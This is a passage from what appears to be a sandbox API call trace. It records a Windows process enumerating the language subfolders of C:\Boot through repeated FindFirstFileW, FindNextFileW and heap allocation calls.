0x7a1cf0 [0196.032] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.032] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.032] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.032] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.032] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.032] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.032] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.032] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.032] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.032] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.032] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.032] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.032] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.032] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.032] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.033] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.033] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.033] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.033] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.033] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.033] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.033] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.033] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.033] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.033] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.033] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1f70 [0196.033] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.033] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.033] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.034] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.034] FindClose (in: hFindFile=0x7a1f70 | out: hFindFile=0x7a1f70) returned 1 [0196.034] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.034] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.034] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.034] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0196.034] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.034] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.034] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.034] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.034] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0196.034] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.034] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.034] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.034] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1db0 [0196.034] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.035] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.035] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.035] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.035] FindClose (in: hFindFile=0x7a1db0 | out: hFindFile=0x7a1db0) returned 1 [0196.035] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.035] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.035] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.035] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.035] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.035] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.035] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.035] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.035] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.035] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.035] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.035] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.036] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.036] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.036] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.036] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.036] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.036] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.036] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.036] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.036] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.036] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.036] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.036] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.036] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.036] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.037] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.037] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.037] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.037] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0196.062] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.062] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.062] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.062] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.062] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0196.062] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.062] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.062] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.062] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0196.062] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.062] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.062] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.063] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.063] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0196.063] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.063] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.063] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.063] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.063] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.063] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.063] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.063] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.063] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.063] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.063] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.063] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.063] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.063] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.064] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.064] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.064] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.064] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.064] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.064] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.064] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.064] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1db0 [0196.064] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.064] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.064] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.064] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.064] FindClose (in: hFindFile=0x7a1db0 | out: hFindFile=0x7a1db0) returned 1 [0196.064] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.064] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.065] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.065] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0196.065] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.065] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.065] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.065] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42d13f8 [0196.065] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x391f584 | out: lpFindFileData=0x391f584) returned 0x7a1cf0 [0196.065] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f584 | out: lpFindFileData=0x391f584) returned 1 [0196.065] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f584 | out: lpFindFileData=0x391f584) returned 1 [0196.065] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f584 | out: lpFindFileData=0x391f584) returned 0 [0196.065] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.065] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0196.065] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.065] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0196.065] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.065] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.066] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.066] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.066] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.066] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.066] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.066] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.066] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.066] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.066] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.066] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1db0 [0196.066] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.066] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.066] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.066] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.067] FindClose (in: hFindFile=0x7a1db0 | out: hFindFile=0x7a1db0) returned 1 [0196.067] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.067] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.067] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.067] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1870 [0196.067] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.067] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.067] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.067] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0196.067] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.067] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.067] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.067] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1830 [0196.067] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.067] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.067] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.068] FindClose (in: hFindFile=0x7a1830 | out: hFindFile=0x7a1830) returned 1 [0196.068] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.068] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.068] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.068] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.068] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.068] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.068] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.068] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.068] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.068] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.068] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.068] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.068] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.068] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.068] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.069] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.069] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.069] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.069] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.069] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.069] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1f70 [0196.219] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.219] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.219] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.219] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.219] FindClose (in: hFindFile=0x7a1f70 | out: hFindFile=0x7a1f70) returned 1 [0196.219] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.219] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.220] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.220] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.220] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.220] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.220] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.220] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.220] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.220] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.220] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.220] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.220] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1fb0 [0196.235] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.235] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.235] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.235] FindClose (in: hFindFile=0x7a1fb0 | out: hFindFile=0x7a1fb0) returned 1 [0196.235] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.235] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.235] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.235] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.235] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0196.250] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.250] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.250] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.250] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.250] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.250] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.250] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.251] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.251] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0196.251] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.251] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.252] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: 